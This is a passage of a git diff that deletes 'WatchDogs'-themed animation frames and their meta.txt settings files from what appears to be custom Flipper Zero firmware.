b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_1.bm deleted file mode 100644 index d8a0d39cc..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_10.bm deleted file mode 100644 index 9a30f1c0e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_11.bm deleted file mode 100644 index 035dd2dd5..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_12.bm deleted file mode 100644 index 15fb3b32f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_13.bm deleted file mode 100644 index f6e6c6552..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_14.bm deleted file mode 100644 index b29332e8e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_15.bm deleted file mode 100644 index edb5c747d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_16.bm deleted file mode 100644 index f45e18db0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_17.bm deleted file mode 100644 index 53058983f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_18.bm deleted file mode 100644 index c365a0cd2..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_19.bm deleted file mode 100644 index 0eab7df0e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_2.bm deleted file mode 100644 index ca6972e98..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_20.bm deleted file mode 100644 index d2aa55398..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_21.bm deleted file mode 100644 index 71d0b2709..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_22.bm deleted file mode 100644 index eacbae711..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_23.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_23.bm deleted file mode 100644 index 8f06f99bf..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_24.bm deleted file mode 100644 index 2677c37a1..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_25.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_25.bm deleted file mode 100644 index f43d32872..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_26.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_26.bm deleted file mode 100644 index e5e823868..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_27.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_27.bm deleted file mode 100644 index 197b43a82..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_28.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_28.bm deleted file mode 100644 index 392e2f958..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_29.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_29.bm deleted file mode 100644 index 7affdf3f3..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_3.bm deleted file mode 100644 index 1fafbb9c5..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_30.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_30.bm deleted file mode 100644 index 20ce058a1..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_31.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_31.bm deleted file mode 100644 index a3d03a42c..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_4.bm deleted file mode 100644 index d4fd6cb06..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_5.bm deleted file mode 100644 index 8e7fae88f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_6.bm deleted file mode 100644 index fa7f1f7cf..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_7.bm deleted file mode 100644 index 08c465af4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_8.bm deleted file mode 100644 index f98a03e59..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_9.bm deleted file mode 100644 index f49f03475..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt deleted file mode 100644 index 64a5c9465..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 32 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 -Active cycles: 0 -Frame rate: 5 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_0.bm deleted file mode 100644 index 0d12638db..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_1.bm deleted file mode 100644 index c11f04ac5..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_10.bm deleted file mode 100644 index 150620b28..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_11.bm deleted file mode 100644 index 133f9e655..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_12.bm deleted file mode 100644 index 0760c714f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_13.bm deleted file mode 100644 index cd65a69fc..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_14.bm deleted file mode 100644 index 823be26e6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_15.bm deleted file mode 100644 index d520e02c0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_16.bm deleted file mode 100644 index 9c94e7592..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_17.bm deleted file mode 100644 index 987e2bdc6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_18.bm deleted file mode 100644 index d520e02c0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_19.bm deleted file mode 100644 index 823be26e6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_2.bm deleted file mode 100644 index 47b7ac4bf..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_20.bm deleted file mode 100644 index d520e02c0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_3.bm deleted file mode 100644 index 74796de85..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_4.bm deleted file mode 100644 index 74796de85..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_5.bm deleted file mode 100644 index c90181f19..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_6.bm deleted file mode 100644 index adb972470..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_7.bm deleted file mode 100644 index 1ec74f923..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_8.bm deleted file mode 100644 index c0d53d465..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_9.bm deleted file mode 100644 index 020a8633e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt deleted file mode 100644 index 6dabe353f..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 21 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_0.bm deleted file mode 100644 index c235da8b3..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_1.bm deleted file mode 100644 index af749374b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_10.bm deleted file mode 100644 index 655541f44..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_11.bm deleted file mode 100644 index 6e76cf15b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_12.bm deleted file mode 100644 index 485b9f255..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_13.bm deleted file mode 100644 index 79381f6d5..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_14.bm deleted file mode 100644 index 3ea0b7298..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_15.bm deleted file mode 100644 index 271aca577..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_16.bm deleted file mode 100644 index 2b5d538b3..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_17.bm deleted file mode 100644 index 3dbfae9e4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_2.bm deleted file mode 100644 index 54d98a982..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_3.bm deleted file mode 100644 index 35a3d5b85..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_4.bm deleted file mode 100644 index 897cb7627..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_5.bm deleted file mode 100644 index f3e953859..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_6.bm deleted file mode 100644 index f3a2e76c0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_7.bm deleted file mode 100644 index f12e601be..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_8.bm deleted file mode 100644 index 3e87bc0fd..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_9.bm deleted file mode 100644 index 5a3fa2a44..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt deleted file mode 100644 index e92e59530..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 18 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_0.bm deleted file mode 100644 index fbce15c5f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_1.bm deleted file mode 100644 index 20506532a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_10.bm deleted file mode 100644 index cf48d21d4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_11.bm deleted file mode 100644 index cfeda3a0c..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_12.bm deleted file mode 100644 index 4e5e60b7f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_13.bm deleted file mode 100644 index 30b9da764..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_14.bm deleted file mode 100644 index 5dd9e7192..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_15.bm deleted file mode 100644 index d9800786e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_2.bm deleted file mode 100644 index f1eb1199b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_3.bm deleted file mode 100644 index bd7f253ac..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_3.bm and /dev/null differ diff --git 